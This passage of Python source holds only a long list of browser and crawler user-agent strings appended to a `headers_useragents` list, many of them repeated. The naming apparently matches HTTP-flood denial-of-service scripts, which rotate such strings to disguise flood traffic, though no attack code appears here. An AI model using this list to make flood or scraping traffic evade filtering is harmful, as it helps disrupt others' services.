  610.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  611.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  612.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  613.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  614.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  615.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  616.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  617.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  618.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  619.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  620.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  621.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  622.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  623.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  624.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  625.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  626.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  627.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  628.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  629.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  630.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  631.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  632.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  633.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  634.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  635.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  636.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  637.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  638.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  639.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  640.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  641.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  642.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  643.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  644.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  645.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  646.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  647.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  648.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  649.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  650.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  651.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  652.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  653.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  654.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  655.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  656.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  657.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  658.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  659.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  660.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  661.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  662.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  663.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  664.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  665.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  666.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  667.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  668.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  669.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  670.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  671.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  672.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  673.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  674.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  675.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  676.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  677.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  678.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  679.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  680.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  681.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  682.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  683.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  684.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  685.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  686.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  687.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  688.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  689.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  690.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  691.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  692.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  693.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  694.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  695.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  696.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  697.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  698.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  699.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  700.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  701.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  702.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  703.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  704.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  705.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  706.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  707.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  708.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  709.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  710.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  711.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  712.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  713.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  714.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  715.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  716.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  717.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  718.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  719.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  720.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  721.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  722.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  723.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  724.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  725.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  726.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  727.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  728.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  729.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  730.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  731.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  732.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  733.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  734.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  735.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  736.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  737.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  738.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  739.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  740.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  741.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  742.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  743.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  744.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  745.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  746.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  747.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  748.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  749.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  750.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  751.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  752.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  753.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  754.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  755.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  756.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  757.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  758.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  759.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  760.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  761.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  762.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  763.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  764.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  765.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  766.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  767.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  768.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  769.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  770.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  771.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  772.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  773.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  774.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  775.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  776.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  777.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  778.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  779.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  780.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  781.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  782.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  783.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  784.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  785.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  786.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  787.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  788.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  789.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  790.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  791.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  792.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  793.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  794.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  795.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  796.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  797.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  798.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  799.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  800.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  801.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  802.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  803.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  804.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  805.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
